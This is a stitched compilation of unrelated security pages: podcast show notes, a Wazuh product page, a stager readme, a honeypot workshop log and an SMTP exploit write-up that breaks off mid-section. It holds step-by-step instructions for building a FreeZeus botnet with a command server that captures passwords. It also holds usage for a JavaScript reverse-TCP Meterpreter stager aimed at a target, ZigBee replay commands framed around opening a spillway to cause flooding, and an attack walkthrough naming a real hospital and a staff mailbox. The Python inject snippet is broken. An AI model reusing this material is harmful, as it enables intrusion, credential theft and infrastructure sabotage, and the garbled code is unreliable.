Lenny's cheat sheet on analyzing malicious documents that summarizes the tools
and techniques discussed on the podcast today.

#  Johnny Long \(10:00AM-11:00AM\)

##  Questions

  1. Why did you decide to start Hackers For Charity? 
  2. What's the day to day like in Uganda? 
  3. What types of things are you doing to help people? 
  4. Do you run into much opposition from local officials for your work? \(i.e., how bad is corruption there?\). 
  5. Do you have any stories to tell about how your graduates have done? 

#  Tenable Network Security: Ron Gula, CEO \(11:00AM-11:30AM\)

#  Core Security Technologies: Anthony Alves \(11:30AM-12:00PM\)

#  Cigar Lunch \(12:00PM-12:30PM\)

##  Sponsored by Joyals Liquor/Mr J's Havana Smoke Shop

Interview with Paul Joyal himself, information about cigar smoking and the
cigar he created called "The Grotto Series"

http://www.joyalsliquors.com/

For information about ordering cigars:

90 W Warwick Ave West Warwick, RI 02893

Phone: 401-822-0536

#  Break \(12:30PM-1:00PM\)

Computer destruction\!

#  Surprise Tech Segment \(1:00PM-2:00PM\) with Dennis Brown

Setting up a FreeZeus Botnet in a VM Lab

Zeus is the most popular crimeware toolkit, and it can be invaluable to work
with it from the perspective of the hacker. In a safe environment, it can be
examined to understand its inner workings, used to get an idea of the
potential for data theft on your network, and to help understand if your
defenses against it are adequate.

We'll be focusing on setting up FreeZeus, a hacked version of Zeus that
appeared in the underground in April, 2010. This version of Zeus, as with all
versions, is not to be trusted on any systems with any sensitive or personal
info, and should not connected to the Internet for any longer than necessary,
if at all. Please consider the risk to your setup before processing.

For this setup, we'll need 2 virtual machines \(or real hardware, if you
wish\): \- A Windows VM \- XP SP2 works great, but any version up through
Windows 7 should work fine \- A Ubuntu Server VM \- Configured for the LAMP
package \- Any webserver with MySQL and PHP will work, so use what you know
best \- Will need a new user and database in MySQL to install the web control
panel

Once you've acquired FreeZeus \(its available, just need to look for it\),
you'll see something like the following files in it:

<img src='img/Temp2_2748.png' width='905' height='384'
alt='File:rarcontents.jpg' />

Setting up the web control panel: \- This is the Command and Control interface
to Zeus \- Copy the contents of FreeZS-panel to the public\_html directory on
the web server \- Browse to http://WEBSERVER\_IP/install/index.php \- This is
the configuration screen of the web server

<img src='img/Temp2_2749.png' width='428' height='444' alt='File:Cp.jpg' />

\- The following options need to be set \- Root User: This is the
login/password for the web control panel \- MySQL Server: This is the
username, password, and database created when setting up the VM \- Local
Folders: A local directory to store logs to \- Bot timeout: How often the
control panel will wait before checking the status of a bot \- Encryption key:
For FreeZeus, this needs to be set to: anonymous \- Enable write reports to
databse/local path: Where you want to store logs to \- Once this is complete,
click Install

  
Setting up the config file \- The official Zeus builder,
ConfigurationBuilder/zsb.exe, is used to set up the config file \- First, open
ConfigurationBuilder/config.txt \- Set the following fields under
DynamicConfig \- url\_loader - This is the URL of the bot we'll be ultimately
creating. Change EDIT\_THIS to the IP of your web server \- url\_server - This
is the URL of the C&C server. Change EDIT\_THIS to the IP of your web server.
Gate.php is the script all bots talk to, but this can be renamed both here and
on the webserver. \- Other options are up to the user to decide, but for a lab
environment, the defaults are fine \- Run zsb.exe

<img src='img/Temp2_2751.png' width='616' height='412' alt='File:builder.jpg'
/>

\- Click on the Builder option on the menu \- Browse to the config file we
just modified \- Click Build the bot configuration \- Upload the file it
creates to the web server

Creating the bot executable \- The FreeZeus builder is usually named something
like FreeZeusBuilder.exe or ZeusBuilder.exe \- Most options in this file are
not able to be changed. Remember, we're using shady software here :\)

<img src='img/Temp2_2753.png' width='396' height='397'
alt='File:FreeBuilder.jpg' />

\- Pick the Bot version. They have different options, but for a test lab, the
decision isn't important. \- Change url\_config to the URL of the config file
uploaded in the previous section. \- Change url\_compip to the URL of your
server, but keep the /ip.php at the end. This is used by the server to track
the IP addresses of infected hosts. \- Click Build \- Upload the executable it
creates to the web server

Testing the bot\! \- In the Windows VM, download and run the executable
created in the previous step. \- Browse to the control panel, which can be
found at http://WEBSERVER\_IP/cp.php \- Log in with the credentials created
earlier \- If all goes well, you should see 1 bot in the network\! \- If this
bot isn't found, double check all the configuration options, and make sure the
URLs are correct \- Also, check web server logs. These can often show if there
is a typo, or if the connection isn't being made in the first place. \- The
FreeZeus control panel is modified to log any connections it sees with fields
like "user" and "pass" \- Makes for very easy testing. Try logging into a
throwaway webmail account, like hotmail. \- Click on Search in Database or
Search in Files in the control panel \- Click on your bot, and you should see
data that has been transmitted, including the webmail password \- If this all
works, congrats, you have a working Zeus botnet in a lab. Be careful, but
enjoy exploring\!

#  Metasploit Mega-Tech Segment with HD Moore \(2:00PM-3:00PM\)

  * Using Metasploit in the Enterprise 
  * Metasploit Development & Post-Exploitation 
  * Client-side Exploitation 
  * Working With Payloads 
  * Metasploit & Wireless Penetration Testing 

..And now for something completely wireless…and different\!

Paul asked me to come up with a segment on using Metasploit for wireless. I
thought about it, and figured, oh, wireless that means karmetasploit\! Well
karmetasploit has been done. I figured I'd talk about what to do with the
information that we get from karmetasploit. We'll that's been done by many -
much of what we get is credentials.

So, here is something different: Sniffing DECT phones with metasploit, with a
largely overlooked auxiliary module.

First things first, you do need to have the dedected.org COM-ON-AIR driver
working with your card. We covered this in episode 158, so co check that out.
Once it works, go get metasploit \(we're using 3.4 here\) and let's get
rolling:

Fire up msfconsole and we are off.

Lets use the DECT call sniffing module that looks for calls, and begins
recording the, Insert the warnings about the illegality of recording phone
calls here.

[code]

    msf > use auxiliary/scanner/dect/call_scanner 
    
[/code]

Let's display our options:

[code]

    msf auxiliary(call_scanner) > show options
    
    Module options:
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       BAND       2                yes       DECT band
       CHAN       0                no        DECT channel
       INTERFACE  /dev/coa         yes       The name of the Com-On-Air Interface
       RFPI                        no        RFPI for synchronous scan
       VERBOSE    true             no        Print out verbose information during the scan
    
[/code]

Some items to note here are the BAND options, which we want to be set to 2
here in the US, or 1 in europe. Of course to be thorough, we could use BAND 3
to search both bands. We also want to be sure that we have VERBOSE set to
true:

[code]

    msf auxiliary(call_scanner) > set BAND 3
    msf auxiliary(call_scanner) > set VERBOSE true
    
[/code]

Now we kick it off:

[code]

    msf auxiliary(call_scanner) > run
    
    [*] Opening interface: /dev/coa
    [*] Using band: 2
    [*] Changing to call scan mode.
    [*] Scanning...
    [*] Switching to channel: 24
    [*] Switching to channel: 25
    [*] Switching to channel: 26
    [*] Switching to channel: 27
    [*] Switching to channel: 23
    [*] Switching to channel: 24
    [*] Switching to channel: 25
    [*] Switching to channel: 26
    ^C[*] Closing interface
    [-] Auxiliary interrupted by the console user
    [*] Auxiliary module execution completed
    msf auxiliary(call_scanner) > 
    
[/code]

It does require us to tie up our console at the moment, so when we are done,
we have to terminate it with a CTRL-C.

Unfortunately I could not get any output form my DECT phone at home, but I'll
have to try during the day at the studio during episode 200…

  

  

#  PaulDotCom Episode 200 Show \(3:00PM-5:00PM\)

##  Tech Segment: ZigBee For Beginners

Recently I've taken an interest in playing with some Zigbee stuff, thanks to
the QuahogCon folks, and Josh Wright's talk on Zigbee. So, why is this tech
segment entitled "for beginners? Well, quite frankly, I'm just beginning to
start too.

So, what's to love with ZigBee?

\- It is being found in more and more implementations, such as Smart Meters.
What's cooler than hacking infrastructure?

\- The hardware to sniff and inject packets is relatively inexpensive; one
dongle is $40, but from the way I understand it, if you want to sniff and
inject you'll need two dongles. This has the added feature of having your own
lab in a box for $80. Unfortunately, in order to inject packets, you need
custom firmware for one dongle. While the firmware is free, the dongle needs a
programmer and adapter which run about $350. There are ways around this…

\- This technology has been around a while, but it is just starting to find
more mainstream applications. Getting in now means the fun stuff is just
getting started.

\- The packets are only 128 bytes long. That makes, in most cases, analyzing
the packets particularly easy, given the small data area. I'd also imagine
that it would be relatively easy to fuzz…

\- The medium is particularly prone to attacks that were in vogue 10 years
ago. Replay attacks? Yeah, they work. Encryption? Sure. Often the key is sent
OTA, which we can sniff and replay.

\- Understanding 802.15 PHY is the basis to understanding the subsequent MAC
layer and higher - Zigbee is just one implementation - theres also 6lowpan,
and Z-Wave

Ok, we now know what to love. How do we use it get crackin'?

Thanks to an awesome dude named Josh Wright, we have a suite of tools for
interacting with our $40 adapter for injection. That suite of tools is called
Killer Bee.

First we need to find a device…in the wild of course\! For this we will use a
gui app:

[code]

    # ./zbfind
    
[/code]

This will give us a nice little display, similar to the concepts of kismet to
passively \(or actively\) listen for Zigbee devices, while channel hopping.

Once we've found one, lets capture some traffic\!

We want to be sure to determine which device is which. KillerBee is able to
detect which to use, but it becomes more important when we want to sniff and
inject at the same time. Simple enough, let's use zbid:

[code]

    # ./zbid
    Dev	Product String	Serial Number
    002:002	KILLERB001	4EAD17FFFF25
    
[/code]

Now to dump some traffic:

[code]

    # ./zbdump -f 26 -w capture.pcap -i 002:002
    zbdump: listening on '002:002', link-type DLT_IEEE802_15_4, capture size 127 bytes
    ^C 2 packets captured
    
[/code]

In this case -f is the channel number \(as determined from our location
finding\), -w is our output pcap file and -i is our Zigbee interface. We will
note that during live capture we do not see any output, and only when we do a
ctrl-C do we have any indication that there were packets captured. \*\*\(We
could monitor the file size in another terminal?\). Now it is time to wait for
commands to be sent over the air. This could take a while. Think about how
often that commands might be sent to opening a spillway 10 degrees, or how
often that you may send commands to a thermostat to change a few degrees…

Woohoo\! We have packets\! Let's take a look at them…in Wireshark\!

[code]

    $ wireshark capture.pcap
    
[/code]

Sample output:

[code]

    No.     Time        Source                Destination           Protocol Info
          1 0.000000                                                IEEE 802.15.4 Reserved
    
    Frame 1 (19 bytes on wire, 19 bytes captured)
        Arrival Time: May 30, 2010 21:03:59.000019000
        [Time delta from previous captured frame: 0.000000000 seconds]
        [Time delta from previous displayed frame: 0.000000000 seconds]
        [Time since reference or first frame: 0.000000000 seconds]
        Frame Number: 1
        Frame Length: 19 bytes
        Capture Length: 19 bytes
        [Frame is marked: False]
        [Protocols in frame: wpan]
    IEEE 802.15.4 Reserved
        Frame Control Field: Unknown (0x161e)
            .... .... .... .110 = Frame Type: Unknown (0x0006)
            .... .... .... 1... = Security Enabled: True
            .... .... ...1 .... = Frame Pending: True
            .... .... ..0. .... = Acknowledge Request: False
            .... .... .0.. .... = Intra-PAN: False
            .... 01.. .... .... = Destination Addressing Mode: Unknown (0x0001)
            ..01 .... .... .... = Frame Version: 1
            00.. .... .... .... = Source Addressing Mode: None (0x0000)
        Sequence Number: 18
        [Expert Info (Error/Malformed): Invalid Destination Address Mode]
            [Message: Invalid Destination Address Mode]
            [Severity level: Error]
            [Group: Malformed]
    
    No.     Time        Source                Destination           Protocol Info
          2 1.000057                          0x4cea                IEEE 802.15.4 Data, Dst: 0x4cea
    
    Frame 2 (19 bytes on wire, 19 bytes captured)
        Arrival Time: May 30, 2010 21:04:00.000076000
        [Time delta from previous captured frame: 1.000057000 seconds]
        [Time delta from previous displayed frame: 1.000057000 seconds]
        [Time since reference or first frame: 1.000057000 seconds]
        Frame Number: 2
        Frame Length: 19 bytes
        Capture Length: 19 bytes
        [Frame is marked: False]
        [Protocols in frame: wpan:data]
    IEEE 802.15.4 Data, Dst: 0x4cea
        Frame Control Field: Data (0x1b09)
            .... .... .... .001 = Frame Type: Data (0x0001)
            .... .... .... 1... = Security Enabled: True
            .... .... ...0 .... = Frame Pending: False
            .... .... ..0. .... = Acknowledge Request: False
            .... .... .0.. .... = Intra-PAN: False
            .... 10.. .... .... = Destination Addressing Mode: Short/16-bit (0x0002)
            ..01 .... .... .... = Frame Version: 1
            00.. .... .... .... = Source Addressing Mode: None (0x0000)
        Sequence Number: 24
        Destination PAN: 0x8829
        Destination: 0x4cea
        [Expert Info (Warn/Undecoded): Encrypted Payload]
            [Message: Encrypted Payload]
            [Severity level: Warn]
            [Group: Undecoded]
        FCS: 0x002a (Correct)
    Data (10 bytes)
    
    0000  ae 10 72 d4 36 98 fa 5c be 7a                     ..r.6..\.z
        Data: AE1072D43698FA5CBE7A
        [Length: 10]
    
    
[/code]

Now that we are looking, the data portion will often be that in which we are
interested. If we are able to capture enough traffic, we may be able to
determine some interesting things about packet content…

Let's go for the replay attack. Why you ask? Well, what happens in the
spillway example? Say we open the spillway 1 degree, which takes one specific
packet. In order to open it 10 degrees, we send the same packet 10 times. Ok,
we are in possession of the packet, so lets replay it to open the spillway 180
degrees, causing flooding…

Here's how we replay

[code]

    # ./zbreplay -f 26 -r capture.pcap
    zbreplay: retransmitting frames from 'capture.pcap' on interface '002:002' with a delay of 1.000000 seconds.
    1 packets transmitted
    
[/code]

Where -f is the channel number previously determined and -r is the pcap we
want to replay. We could of course add this with a for loop inside of a
script.

On another note, what happens if we have a one packet that we need to replay
in a capture of several packets? Let's used editcap to split that packet out
into a standalone pcap file:

$ editcap -r capture.pcap singlepacket.pcap 2

Where -r indicated the action of inclusion of packets \(instead of the
exclusion of packets\) then inout file, output file and the list of packets to
export, in this case, packet number 2 form the original pcap.

Additionally, if killerbee is properly installed in the python environment
\(which you needed to do for using these tools\), we can create a python
script to use the killerbee libraries to send just the specified data payload
on out specified channel. Here is an example with some packet content from
Josh's QuahogCon badge pwnage script, that sends the packet 5 times for good
measure:

[code]

    #!/usr/bin/env
    from killerbee import *
    import sys
    
    packetcontent = "\xFF\x00\x63\x03\x65\xd9\x3d\x91\xf5\x29\x8d\xe1\x45\xb9\x1d\x71\x00\x2c\x00",
        
        kb = KillerBee()
        kb.set_channel(26)
        try:
            for i in xrange(0,5):
                kb.inject(packetcontent)
    else:
        
                time.sleep(.2)
    
[/code]

  
Ok, now that we have the basics, lets get hunting and hacking\!

##  Tech Segment: Hardening Linux

First things first, I believe that hardening is important. We've lost site of
this age old practice and let our guard down. We put too much confidence in
things such as firewalls, intrusion detection/prevention, encryption, and
often think "it won't happen to me". When you harden a system you have to take
into account two things:

1\) What do I need this system to do?

2\) What if "it" did happen to me?

The first consideration is what makes hardening a personal matter. Different
systems across your organization, and especially across other organizations,
are going to be configured to do different things. Their requirements are
completely separate, and therefore so is hardening guidelines. The CIS
benchmarks are a good place to start, but you MUST tune it according to your
environment and purpose given to each system. Now thats not to say we can't
have standards and "best practice". Think of standards like table manners.
Sure, depending on the setting you will employ a different set of table
manners. At a cookout, its typically perfectly acceptable to use your hands to
eat \(burgers, ribs, potato salad are examples\). However, at a 5-star steak
resturant pickink up that t-bone and chomping on it may not be the greatest
idea to impress your clients. However, there are some rules that apply no
matter where you are eating, such as putting your hands in someone elses dish
or passing gas at the dinner table.

So what follows is somewhere between flatchulance and eating with your hands:

###  Remote Access

A general rule of thumb is that remote access should be:

\- restricted to a select number of IP addresses \- never allowing an
administrative or root-level user to login remotely directly \- Avoiding
passwords at all costs in favor of keys or some other kind of non-password
based authentication \- Use a solid form of encryption

I prefer to use SSH and harden it as I outline in a previous tech segment. I'd
add another layer that requires a sudo password in order to become root. You
can even create another non-root account that does have access to sudo to
root. This would now require 3 passwords:

1 password for your SSH key 1 password for your user account \(needed to sudo
to the account that can sudo to root\) 1 password for your account that can
sudo to root

Three passwords and a key is a great way to lock down access to your system

###  Leave As Few Services Running As Possible

This is still a good practice to follow. I typically strip out any inetd or
xinetd daemons and packages. They seem to exist to run silly things such as
time, discard, chargen, etc... In the past several years I've never needed
these services to run. Also, use the "netstat" and "lsof" programs liberally
and check for IPv6 as well\!

I tend to disable IPv6 on systems, for example in Ubuntu 9.04:

/etc/default/grub add the line:

GRUB\_CMDLINE=ipv6.disable=1

Note: Interesting note on grub v2, currently there is no way in the stable
code to set a boot loader password\! Crazy as it sounds, this is what my
research has shown.

See Command Line Kung Fu: Search Term "netstat" for more information.

###  Remove the compilers and other tools when done

So many times I've compromised a system and used the tools already installed
to further gain a foothold. Three Examples:

1\) netcat - If netcat is already on the system and I gain remote command
execution via a web app my job is MUCH easier. We love netcat, but keep it on
your laptop for hacking, not on your production servers.

2\) gcc - I got shell, w00t\! Now I can start my pen test, but I really want
to be root. I got this great priv exec exploit, and thatnkfully a compiler has
already been installed\! Remove "build-essential" when done., as forcing an
attacker to install tools leaves more opportunity to detect an attacker.

3\) perl script - I once saw a simple Perl script take down an entire network.
A web server had some vulnerabilities that allowed file upload. An attacker
uploaded a Perl script that was a bot, and had the capability to send a UDP
DoS attack. This attack caused the firewall to melt, and all services for the
organization to become unavailable. If you don't need Perl and other such
utilities, remove them.

###  Check Permissions

This could be a tech segment in and of itself\! Permissions are important,
consider this example:

If a Linux startup script in /etc/init.d \(Which runs as root at system
startup\) were to call a binary that is owned by a non-root user, its game
over. I had this at CCDC and didn't figure it out until it was too late. There
was a startup script for Nagios that called a binary owned by the nagios user.
The teams had systems configured with a user/pass pair of nagios/nagios. They
couldn't change it fast enough and the red team was in. Little did we know
that all we had to do was swap out a binary for a shell script, then anything
in that shells script could be executed as root after a reboot.

There are TONS of example of this, and most hardening guidelines go into
detail. These are important details and sometimes the distribution, and more
likely a software package, gets file system permissions wrong.

##  Stories

  1. Samsung Wave shipping with infected microSD card \- \[Mike \] - \(confirmed limited to first run\) 
  2. Smartcard Reader hacked \- \[Larry\] - No big deal, right? Well, no case cracking needed, just a windows tool that updates firmware and bootloader, to bypass the firmware signing. This means that the device could record card and pin numbers and noone would be the wiser. 
  3. Win2k getting owned \- \[Larry\] - I should hope so\! Seriously, after the bungled Windows Media Service patch \(MS010-025\), attackers started hunting those machines down. According to Symantec, the attackers aren't using the exploit in Metasploit - someone made their own exploit. 
  4. PIN fail \- \[Larry\] - You think that PIN on your iPhone keeps you safe? Maybe. In certain circumstances, such as powering off your unlocked iPhone. On boot it is possible to attach to the phone before the security service starts and take a disk image of the phone, with cleartext passwords, contacts, etc. Formerly, the iPhone needed to be jailbroken, but no more. 
  5. Man injected with computer Virus \- \[Larry\] - Now THAT's what I'm talkin' 'bout Willis\! Ok, so the story has been a little bit sensationalized. The gentleman injected himself with a writeable RFID tag, on which was written some Javascript "exploit code". No not really a virus. No, not something that can infect a reader, but is something that could exploit computers upstream at the admin interface. 
  6. Oooh, TABjacking \- \[Larry\] - Leaving tabs open on your browser leaves you open to attack. Through JavaScript, when the tab is in the background, it changes the page title, favicon and content to that of a popular but now malicious website, where you plug in your credentials. 
  7. Router Password recovery \- \[Larry\] - Nice, a windows tool for recovering the home router passwords from several mufaturers and models \(expanding all the time\), from the backup config files. 
  8. Hacking the car, ODBII style \- \[Larry\] - Jack, I'm looking at you buddy. 

##  Other Stories Of Interest

# Wazuh · Open Source Host and Endpoint Security

**Created:**| _5/7/2017 10:57:00 AM_  
---|---  
**Updated:**| _5/7/2017 10:57:00 AM_  
**Author:**| __  
**Tags:**| _bookmark elasticsearch ossec endpoint\_protection_  
  

  

# Open Source Host and Endpoint Security

Wazuh provides new detection and compliance capabilities, extending OSSEC core
functionality.

Install Wazuh

Latest Rules

<img src='img/Temp2_9366.png' width='480' height='318' />

### <img src='img/Temp2_9362.png' width='32' height='31'
alt='Piece_ELK_20_Icon' /> Elastic Stack

Visualize, analyze and search your host IDS alerts. Elastic Stack is the
combination of three popular Open Source projects for log management, known as
Elasticsearch, Logstash and Kibana. Together they provide a real-time and
user-friendly console for your OSSEC alerts.  
OSSEC Wazuh integration with Elastic Stack comes with out-of-the-box
dashboards for PCI DSS compliance and CIS benchmarks. You can do forensic and
historical analysis of OSSEC alerts and store your data for several years, in
a reliable and scalable platform.

<img src='img/Temp2_9365.png' width='150' height='150' />

<img src='img/Temp2_9370.png' width='150' height='150' />

<img src='img/Temp2_9363.png' width='150' height='150' />

<img src='img/Temp2_9369.png' width='150' height='150' />

Learn more

### <img src='img/Temp2_9367.png' width='32' height='31'
alt='Piece_Rule_20_Icon' /> Wazuh Ruleset for OSSEC

We have modified the existing OSSEC ruleset to increase threat detection
capabilities, add functionality and expand OSSEC scope. It includes, among
many others, compliance mapping with PCI DSS v3.1, CIS security controls and
additional decoders and rules.  
The Wazuh Ruleset is curated through the effort of a dedicated team and the
help of the community. We encourage OSSEC users to contribute and/or request
new rules and decoders.

Learn more

### <img src='img/Temp2_9364.png' width='32' height='31'
alt='Piece_API_20_Icon' /> OSSEC RESTful API

This service controls the OSSEC Manager using REST requests. RESTful
interaction allows to execute OSSEC commands easily from your application \(or
using a web browser\). Manage your environment via the API, including agent
remote management, and the ability to extract rootcheck or syscheck
information across large deployments. In addition, it integrates OSSEC with
external systems.  
Installation is easy and the footprint is small, in a NodeJS Express Package
that implements HTTP authentication over SSL/TLS.

Learn more

# OSSEC for PCI DSS

OSSEC has great value for companies needing to comply with PCI DSS. It is
currently being used for this purpose by thousands of companies, from large
corporations to small internet stores.

Wazuh understands the importance of these regulations and will continue to
develop and integrate OSSEC to comply with these requirements.

Learn more

## PCI DSS Guide 3.1

This guide describes how OSSEC helps with each requirement.

__ Take a look

<img src='img/Temp2_9368.png' width='83' height='74' />

### OSSEC Docker container

Run a standalone OSSEC manager container, or run it together with Elastic
Stack.

Get started >>

Docker Hub

<img src='img/Temp2_9371.png' width='45' height='40' />

### Puppet for OSSEC massive deployment

Use this module for automated deployments and remotely configuration of your
agents.

Get started >>

Puppet Forge

# About OSSEC HIDS project

OSSEC is an open source project started by Daniel Cid and was made public back
in 2004. In 2009 Trend Micro acquired the OSSEC project keeping it open source
and free.

OSSEC is a scalable, multi-platform, open source Host-based Intrusion
Detection System \(HIDS\). It has a powerful correlation and analysis engine,
integrating log analysis, file integrity checking, Windows registry
monitoring, centralized policy enforcement, rootkit detection, real-time
alerting and active response. It runs on most operating systems, including
Linux, OpenBSD, FreeBSD, MacOS, Solaris and Windows.

Visit OSSEC project website >>

  

# Cn33liz/JSMeter

**Created:**| _5/12/2017 1:02:09 PM_  
---|---  
**Updated:**| _5/12/2017 1:02:09 PM_  
**Author:**| __  
**Tags:**| _Exploit post-exploitation JavaScript_  
  

  

[code]

         ____. _________   _____          __                
        |    |/   _____/  /     \   _____/  |_  ___________ 
        |    |\_____  \  /  \ /  \_/ __ \   __\/ __ \_  __ \
    /\__|    |/        \/    Y    \  ___/|  | \  ___/|  | \/
    \________/_______  /\____|__  /\___  >__|  \___  >__|   
                     \/         \/     \/          \/       
    
[/code]

### JavaScript Reversed TCP Meterpreter Stager - by Cn33liz 2017

CSharp Meterpreter Stager build by Cn33liz and embedded within JavaScript
using DotNetToJScript from James Forshaw
https://github.com/tyranid/DotNetToJScript

This Stager should run on x86 as well as x64

[code]

    Usage:
    Change RHOST and RPORT settings to suit your needs.
    
    Start Msfconsole:
    use exploit/multi/handler
    set PAYLOAD windows/x64/meterpreter/reverse_tcp <- When run from x64 version of cscript.exe
    set PAYLOAD windows/meterpreter/reverse_tcp <- When run from x86 version of cscript.exe
    set LHOST 0.0.0.0
    set LPORT 443
    set EnableUnicodeEncoding true
    set EnableStageEncoding true
    set ExitOnSession false
    exploit -j 
    
    Then run: cscript.exe JSMeter.js on Target
    
[/code]

  

# Honeypot Workshop - 25C3 Public Wiki

**Created:**| _12/22/2009 1:32:29 PM_  
---|---  
**Updated:**| _12/22/2009 1:32:39 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Honeypot Workshop

## Contents

\[hide\]

  * 1 Content
  * 2 When and where
  * 3 Requirements
  * 4 How to attend
  * 5 Command Log

  
---  
#### \[edit\]Content

This Honeypot Workshop is a handson event where people will setup and run
their own low-interaction nepenthesand honeytrap honeypots to collect malware
and exploits. You will learn the fundamentals of honeypot-based network attack
analysis, i.e. investigate the recorded honeypot data and corresponding
traffic dumps. A second part will provide a brief introduction to blackbox
malware analysis.

#### \[edit\]When and where

The workshop will take place on 2008-12-29, 20:00-23:00. Location: Workshop
room A03

#### \[edit\]Requirements

Attendees must bring their own laptop with a recent Linux operating system
\(we recommend Ubuntu\) and a Windows XP virtual machine \(we suggest
VirtualBox which is bridged to the host's physical network. Be aware that you
are responsible for your own working environment as we won't have time to do
configuration stuff on-site. However, you may send questions via mail and
we'll try to help you as good as we can.

#### \[edit\]How to attend

This workshop adresses people who would like to gain first insights in
honeypots and their use for attack analysis. The instructor team will be
working closely with the attendees. We will thus offer no more than 10 places.
If you would like to attend, send an application to us with some infos about
yourself and why you deserve a place.

#### \[edit\]Command Log

[code]

    * nepenthes install
     # svn co https://svn.mwcollect.org/nepenthes/trunk/ nepenthes
     # cd nepenthes
     # autoreconf -v -i --force
     # ./configure --prefix=/opt/nepenthes
     # make
     # make install (as root)
     # !! edit /opt/nepenthes/etc/nepenthes/nepenthes.conf to your needs
     # /opt/nepenthes/bin/nepenthes -h (look at options ;) )
     # /opt/nepenthes/bin/nepenthes -u nobody -g nogroup
    
    
[/code]

[code]

    * honeytrap install
     # aptitude install libnetfilter-queue-dev
     # svn co https://svn.mwcollect.org/honeytrap/trunk/ honeytrap-svn
     # cd honeytrap-svn
     # autoreconf -i
     # ./configure --prefix=/opt/honeytrap/ --with-stream-mon=nfq
     # make
     # make install (as root)
     # iptables -A INPUT -i eth0 -p tcp --syn -m state --state NEW -j NFQUEUE
       (replace eth0 with your interface)
     # cd /opt/honeytrap/
     # ./sbin/honeytrap -h (look at options ;) )
     # ./sbin/honeytrap -Dt 5 -C etc/honeytrap/honeytrap.conf
    
[/code]

# Split Tunnel SMTP Exploit Explained | Securolytics Blog
**Created:**| _5/31/2017 6:10:10 PM_  
---|---  
**Updated:**| _5/31/2017 6:10:10 PM_  
**Author:**| __  
**Tags:**| __  
  

  

### –

### Published: May 23, 2017

Security Research By: Vikas Singla & Jason Morris

# Executive Summary:

###

### Exploit:

The **Split Tunnel SMTP Exploit** allows an attacker to bypass an
organization’s email security gateway and inject messages with malicious
payloads directly into the victim’s email server. This exploit targets a newly
discovered vulnerability in popular Email Encryption appliances as a backdoor.
Injectable payloads can include anything that supports MIME encoding
including:

  * Ransomware
  * Macro Viruses
  * Password Protected ZIP Files
  * Phishing Attacks

Two successful attacks were conducted using this exploit. Details are included
in the Attack Simulations section below.

### Vulnerable Products:

Any Email Encryption appliance accepting inbound SMTP connections is
vulnerable to this attack. Our research also found that virtual/hosted
appliances were just as exploitable as hardware appliances.

### Remediation:

We are unaware of any hotfix or patch that will fully protect against this
exploit. At this time we have identified only two solutions.

1\. Completely disable transparent gateway-to-gateway encryption on the
encryption appliance.  
2\. Implement a parallel processing solution that can perform email decryption
and threat detection at the same time.

**_There is no “quick fix” to protect against this exploit._** Organizations
will need to invest time and resources to identify and implement the best
solution.

# Technical Details:

Most email encryption appliances are deployed in 1 of 2 ways:

1\. The email security gateway and email encryption appliance both sit behind
an organization’s firewall. Each of these MTAs is assigned a publicly
accessible IP address. An attacker can bypass the email security gateway by
connecting directly to the encryption appliance to inject messages. These
messages are then routed straight to the internal mail server for delivery.

2\. The email encryption appliance sits in front of the email security
gateway, like Microsoft’s Exchange Online Protection \(EOP\). Again, each of
these MTAs is assigned a publicly accessible IP address. And again, an
attacker can connect directly to the encryption appliance to inject messages.
The email encryption appliance decrypts and forwards all email to the security
gateway. However, when the security gateway analyzes email for threats it does
so using the encryption appliance’s IP address instead of the attackers IP
address, rendering the threat protection ineffective.

<img src='img/securolytics-split-tunnel-smtp-exploit.gif' width='1024'
height='466' alt='Split Tunnel SMTP Exploit Architecture' />

     Split Tunnel SMTP Exploit Architecture 
  

# Attack Simulations:

_NOTE: To protect the target organization from an actual compromise these
attacks were directed at an invalid mailbox. This allowed us to demonstrate
the exploit by reaching the internal mail server without risk that a user may
execute one of the payloads._

## Attack \#1: Exploit Successful

### Microsoft Exchange + Onsite Email Encryption appliance

The first attack was designed for a target using Microsoft Exchange and an
onsite Email Encryption appliance. The target we selected was protecting
Exchange using a WatchGuard security gateway.

### Step 1: Select Target

Excelsior Springs Hospital  
Excelsior Springs, MO  
400 Employees

###

### Step 2: Reconnaissance

After selecting our target we used an automated reconnaissance script to
collect public information about the target’s email infrastructure. The script
first identified the target’s MX record. \(image-1\) Next, a brute force
dictionary attack was employed to find the target’s Email Encryption
appliance. This attack uncovers all subdomains and their respective MX
records. \(image-2\) We then used the Securolytics Exploitable IoT Scanner to
test if port 25 was open on any of the MTAs we uncovered. \(image-3\) Finally,
to quickly find a valid mailbox at the target organization our script used
WHOIS to retrieve the target’s public domain registration. In this example we
uncovered a mailbox for Art Gentry, agentry-at-esmc-dot-org. \(image-4\)

<img src='img/Temp2_7669.gif' width='1024' height='408' alt='Target's MX
record--Split Tunnel SMTP Exploit' />

     Target’s MX record \(image-1\) 
  

<img src='img/Temp2_7658.gif' width='1024' height='376' alt='Target's Email
Encryption appliance--Split Tunnel SMTP Exploit' />

     Target’s Email Encryption appliance \(image-2\) 
  

<img src='img/Temp2_7665.gif' width='1024' height='722' alt='Port Scan Results
--Split Tunnel SMTP Exploit' />

     Port Scan Results \(image-3\) 
  

<img src='img/Temp2_7671.gif' width='1024' height='672' alt='WHOIS Result--
Split Tunnel SMTP Exploit' />

     WHOIS Result \(image-4\) 
  

###

### Step 3: Test Email Delivery

We sent a basic email with a benign payload. This allowed us to learn how the
target’s Email Security Gateway and internal mail servers handle messages. As
you can see, the target’s Email Security Gateway accepted our test message.
\(image-5\)

From: tifr-at-psles.com  
To: test-mailbox-123-at-esmc.org  
Subject: Hello World  
Message: Hello  
Server: mail.esmc.org

250 Requested mail action okay, completed

Our email was then delivered to the target’s internal mail server and then to
the user’s inbox. Because we intentionally sent the message to an invalid
mailbox, the target’s mail server bounced our message as “undeliverable.” The
dangerous thing about NDRs is they often expose too much information about a
company’s internal network. \(image-6\) In this attack, the NDR revealed the
following about our target’s internal network:

**WatchGuard** Email Security Gateway  
**Microsoft Exchange Server 2010** with IP address **10.2.100.253**

List of Microsoft Exchange Build Numbers

<img src='img/Temp2_7656.gif' width='1024' height='291' alt='Non-Malicious
Email--Split Tunnel SMTP Exploit' />

     Non-Malicious Email \(image-5\) 
  

<img src='img/Temp2_7664.gif' width='1024' height='561' alt='Exchange NDR--
Split Tunnel SMTP Exploit' />

     Exchange NDR \(image-6\) 
  

### Step 4: Test Malicious Email Delivery

After verifying our target had a working Email Security Gateway, we created
